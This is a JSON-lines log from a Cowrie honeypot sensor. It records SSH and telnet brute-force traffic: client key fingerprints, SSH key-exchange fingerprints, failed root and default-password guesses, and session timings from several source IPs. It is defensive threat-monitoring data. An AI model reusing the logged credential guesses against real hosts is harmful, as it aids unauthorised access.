{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:8a:c1:62:ed:b8:11:65:49:43:74:b3:1e:4f:e8:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/H0NcnSO+5k5OdVFKjs5iaQ4JprFy8l2GXeSXGdWtLqLmdgdOKmpsKQh/ER7afjvfk+YLQ1/KkaAeEOVcURJUmto8/Vqr8z0roJL7BKFGRCp9eyT/6ufCp1ULoKlcaebleOeftdtfCSACH526pocOTvAoI7PERkng1PYNmV6M0v32AxUHHJtA0CL4aQ+GK52WRLhMw303r3HG1ipx1i4HpaV/p/9eoy0ICvbNRnfMATRgmVamTT+ivD6daPYhkaBomDElnNEaI4Bh/4Dx4xQhV44V8MVOwiEutO8L2C+jT01URdnGCrG123yB871erbTiwfYQfez5KJqjkt6fNxsv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:8a:c1:62:ed:b8:11:65:49:43:74:b3:1e:4f:e8:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.891607Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:8a:c1:62:ed:b8:11:65:49:43:74:b3:1e:4f:e8:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/H0NcnSO+5k5OdVFKjs5iaQ4JprFy8l2GXeSXGdWtLqLmdgdOKmpsKQh/ER7afjvfk+YLQ1/KkaAeEOVcURJUmto8/Vqr8z0roJL7BKFGRCp9eyT/6ufCp1ULoKlcaebleOeftdtfCSACH526pocOTvAoI7PERkng1PYNmV6M0v32AxUHHJtA0CL4aQ+GK52WRLhMw303r3HG1ipx1i4HpaV/p/9eoy0ICvbNRnfMATRgmVamTT+ivD6daPYhkaBomDElnNEaI4Bh/4Dx4xQhV44V8MVOwiEutO8L2C+jT01URdnGCrG123yB871erbTiwfYQfez5KJqjkt6fNxsv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.896704Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:43:ee:07:70:84:0c:c2:f5:d4:fa:e2:eb:2d:2b:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI/CNTq+a8I9QGKcW/9df8GLPlU6yfZNlsr373FMs1heHqHVzjBs1gp1zYZOenvYPnwdtn1bdf+I1W+mbAFh3vVdkfHpu46I11Q2z2an9iWFYZ30mASDVqrnNy5b6T8VaE8upkLD2vozd6oumEL7Q/dS+PE+lBjCioAj6aIhhEeSWUPFlplDotBcjQmPuaTxAJFMGze/paa1iklWsZkEFNiFJyuJ5l8tEfzCdsNw3LBN/qBsLw/9hYYzmsBNfS3mTOIMHc0xkqsT1+BNUkuRNJMqYs/G3AuYO1sBLVTsrBSPooymgL6OaN0W2RokL+Aq+AjvoVsv4JtVMfnAe/USqH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:43:ee:07:70:84:0c:c2:f5:d4:fa:e2:eb:2d:2b:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.907673Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:43:ee:07:70:84:0c:c2:f5:d4:fa:e2:eb:2d:2b:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI/CNTq+a8I9QGKcW/9df8GLPlU6yfZNlsr373FMs1heHqHVzjBs1gp1zYZOenvYPnwdtn1bdf+I1W+mbAFh3vVdkfHpu46I11Q2z2an9iWFYZ30mASDVqrnNy5b6T8VaE8upkLD2vozd6oumEL7Q/dS+PE+lBjCioAj6aIhhEeSWUPFlplDotBcjQmPuaTxAJFMGze/paa1iklWsZkEFNiFJyuJ5l8tEfzCdsNw3LBN/qBsLw/9hYYzmsBNfS3mTOIMHc0xkqsT1+BNUkuRNJMqYs/G3AuYO1sBLVTsrBSPooymgL6OaN0W2RokL+Aq+AjvoVsv4JtVMfnAe/USqH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.914737Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:fc:09:70:0c:7a:de:4c:3b:49:17:97:a3:ee:88:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2o6BnMzfDtisCjSDu3O5TWOcOgdJlH9yd6XqrnWpKk2O4/CyGEh/uXstMLsQ6jmvVGIDEbrzCZHc0w7/widAWZRlpGC8TN6svQKbcKasTaM6ZUmvgnWk9DQ8vd9hajPcRUiLV7ALMCUyRYAB9E2chAvNsmdDthYEip8GuKkaySQ4ZoNXRhDSaPbcI+P5sN+wW+snG4JkPkp6C3FKEXGLI19BLOse2PHHCqAq8BzYZ1jl6yHpe/pvlROwujRgQIo2GY8P0CZI2tLbq7Dq+QLNKjzYMgE/3OvvHh2hhaNOtiNAFy2r308p+T3sS/GX+vXTnakbH9wrdS/gms5zjIwh5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:fc:09:70:0c:7a:de:4c:3b:49:17:97:a3:ee:88:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.924852Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:fc:09:70:0c:7a:de:4c:3b:49:17:97:a3:ee:88:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2o6BnMzfDtisCjSDu3O5TWOcOgdJlH9yd6XqrnWpKk2O4/CyGEh/uXstMLsQ6jmvVGIDEbrzCZHc0w7/widAWZRlpGC8TN6svQKbcKasTaM6ZUmvgnWk9DQ8vd9hajPcRUiLV7ALMCUyRYAB9E2chAvNsmdDthYEip8GuKkaySQ4ZoNXRhDSaPbcI+P5sN+wW+snG4JkPkp6C3FKEXGLI19BLOse2PHHCqAq8BzYZ1jl6yHpe/pvlROwujRgQIo2GY8P0CZI2tLbq7Dq+QLNKjzYMgE/3OvvHh2hhaNOtiNAFy2r308p+T3sS/GX+vXTnakbH9wrdS/gms5zjIwh5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.929602Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:fe:8b:c8:a8:18:de:f1:e9:9b:48:8b:0e:8b:5f:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzNustxV5eBVQ79c4Ob+LjH+0ul6X7Fv3Yl0jCBU4qiW35u1XpLAsycna2UTendEen0YG+J0tzoC3ge2AXw5sEqTUasWvsnwrkwwFcAODIlALNNIkZqmAUhn8/SpDOjTqtAoyOpmjATUlvQ6Ss1wo509A6JWcsEBgq40AXFTixc+XXetflgHKJOukZzZv0t6I42CY3PTg67XBLhTTajFfDQfFyQ9hPmC3jLvDkqJ8+zlWBguDCSfV6XqoV29QB2qESw6dM9S1gaFOsP3RZ29GROEqbTXVENPCYgKMypwAj55N1j7B6iqZRY/KqWcCJ2dha487js7PRn+jLkC3TLCoaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:fe:8b:c8:a8:18:de:f1:e9:9b:48:8b:0e:8b:5f:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.942923Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:fe:8b:c8:a8:18:de:f1:e9:9b:48:8b:0e:8b:5f:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzNustxV5eBVQ79c4Ob+LjH+0ul6X7Fv3Yl0jCBU4qiW35u1XpLAsycna2UTendEen0YG+J0tzoC3ge2AXw5sEqTUasWvsnwrkwwFcAODIlALNNIkZqmAUhn8/SpDOjTqtAoyOpmjATUlvQ6Ss1wo509A6JWcsEBgq40AXFTixc+XXetflgHKJOukZzZv0t6I42CY3PTg67XBLhTTajFfDQfFyQ9hPmC3jLvDkqJ8+zlWBguDCSfV6XqoV29QB2qESw6dM9S1gaFOsP3RZ29GROEqbTXVENPCYgKMypwAj55N1j7B6iqZRY/KqWcCJ2dha487js7PRn+jLkC3TLCoaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.946913Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:d9:90:dc:e4:ee:18:8b:46:fe:06:4d:f7:b3:d7:e5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIShumuDevOEiNBZyOnZ55MdUq3xXd6/1nueD5lnT36l","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b3:d9:90:dc:e4:ee:18:8b:46:fe:06:4d:f7:b3:d7:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.956254Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:d9:90:dc:e4:ee:18:8b:46:fe:06:4d:f7:b3:d7:e5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIShumuDevOEiNBZyOnZ55MdUq3xXd6/1nueD5lnT36l","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.970373Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.986225Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.011706829071045,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:05.082646Z","src_ip":"152.42.224.71","session":"b0947ddabfd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.01163005828857,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:11.469446Z","src_ip":"152.42.224.71","session":"be1d65c7d5fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":117.83144927024841,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:12.034915Z","src_ip":"152.42.224.71","session":"78e91605449c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.61896991729736,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:14.349017Z","src_ip":"152.42.224.71","session":"29c2f546fe1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00583839416504,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:19.179061Z","src_ip":"152.42.224.71","session":"f19c3a027ad7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.672215938568115,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:47.771403Z","src_ip":"152.42.224.71","session":"838fb32a2070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46454,"dst_ip":"159.203.135.109","dst_port":22,"session":"69c9132e4a2f","protocol":"ssh","message":"New connection: 109.172.54.111:46454 (159.203.135.109:22) [session: 69c9132e4a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:49.985880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:49.990491Z","src_ip":"109.172.54.111","session":"69c9132e4a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:50.092333Z","src_ip":"109.172.54.111","session":"69c9132e4a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.74125146865845,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:50.296552Z","src_ip":"152.42.224.71","session":"aa795315ffd4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfg","message":"login attempt [root/asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:50.380643Z","src_ip":"109.172.54.111","session":"69c9132e4a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:51.478966Z","src_ip":"109.172.54.111","session":"69c9132e4a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39238,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ef221eacb2","protocol":"telnet","message":"New connection: 152.42.224.71:39238 (10.17.0.5:23) [session: a1ef221eacb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:52.777423Z"}
{"eventid":"cowrie.session.closed","duration":120.00186800956726,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:53.543250Z","src_ip":"152.42.224.71","session":"93186e160c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46602,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc9db6f6bc01","protocol":"telnet","message":"New connection: 152.42.224.71:46602 (10.17.0.5:23) [session: fc9db6f6bc01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:17.245893Z"}
{"eventid":"cowrie.session.closed","duration":27.573766231536865,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:20.351070Z","src_ip":"152.42.224.71","session":"a1ef221eacb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00158214569092,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:22.845691Z","src_ip":"152.42.224.71","session":"b8c99dfd3dd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46618,"dst_ip":"10.17.0.5","dst_port":23,"session":"39dcc9a546f4","protocol":"telnet","message":"New connection: 152.42.224.71:46618 (10.17.0.5:23) [session: 39dcc9a546f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:26.725411Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52722,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad85afdcebbb","protocol":"telnet","message":"New connection: 152.42.224.71:52722 (10.17.0.5:23) [session: ad85afdcebbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:29.481813Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52730,"dst_ip":"10.17.0.5","dst_port":23,"session":"6390949184b8","protocol":"telnet","message":"New connection: 152.42.224.71:52730 (10.17.0.5:23) [session: 6390949184b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:32.522328Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52738,"dst_ip":"10.17.0.5","dst_port":23,"session":"224164c1f98d","protocol":"telnet","message":"New connection: 152.42.224.71:52738 (10.17.0.5:23) [session: 224164c1f98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:32.540115Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60934,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbf195ebbac","protocol":"telnet","message":"New connection: 152.42.224.71:60934 (10.17.0.5:23) [session: 7dbf195ebbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:36.169200Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60938,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb4c6c4af47","protocol":"telnet","message":"New connection: 152.42.224.71:60938 (10.17.0.5:23) [session: 0eb4c6c4af47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:37.361631Z"}
{"eventid":"cowrie.session.closed","duration":115.39752674102783,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:39.704078Z","src_ip":"152.42.224.71","session":"015c21c8d717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33660,"dst_ip":"10.17.0.5","dst_port":23,"session":"15ee60135626","protocol":"telnet","message":"New connection: 152.42.224.71:33660 (10.17.0.5:23) [session: 15ee60135626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:49.002412Z"}
{"eventid":"cowrie.session.closed","duration":120.00227689743042,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:51.273191Z","src_ip":"152.42.224.71","session":"63da299459cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33670,"dst_ip":"10.17.0.5","dst_port":23,"session":"97c5b4f51f01","protocol":"telnet","message":"New connection: 152.42.224.71:33670 (10.17.0.5:23) [session: 97c5b4f51f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:51.696046Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.142","src_port":37592,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc03b19416aa","protocol":"telnet","message":"New connection: 64.62.156.142:37592 (159.203.135.109:23) [session: bc03b19416aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:59.159824Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:59.165754Z","src_ip":"64.62.156.142","session":"bc03b19416aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:59.169924Z","src_ip":"64.62.156.142","session":"bc03b19416aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:59.173867Z","src_ip":"64.62.156.142","session":"bc03b19416aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09466886520385742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:00:59.254399Z","src_ip":"64.62.156.142","session":"bc03b19416aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44362,"dst_ip":"10.17.0.5","dst_port":22,"session":"905076386917","protocol":"ssh","message":"New connection: 193.32.162.145:44362 (10.17.0.5:22) [session: 905076386917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:04.895343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:04.917147Z","src_ip":"193.32.162.145","session":"905076386917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:05.025658Z","src_ip":"193.32.162.145","session":"905076386917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:05.341104Z","src_ip":"193.32.162.145","session":"905076386917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:06.449234Z","src_ip":"193.32.162.145","session":"905076386917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46568,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cde1cd4a140","protocol":"telnet","message":"New connection: 152.42.224.71:46568 (10.17.0.5:23) [session: 0cde1cd4a140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:12.015168Z"}
{"eventid":"cowrie.session.closed","duration":40.057618618011475,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:12.579834Z","src_ip":"152.42.224.71","session":"6390949184b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.25324058532715,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:14.498987Z","src_ip":"152.42.224.71","session":"fc9db6f6bc01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.34559893608093,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:17.070903Z","src_ip":"152.42.224.71","session":"39dcc9a546f4","protocol":"telnet"}
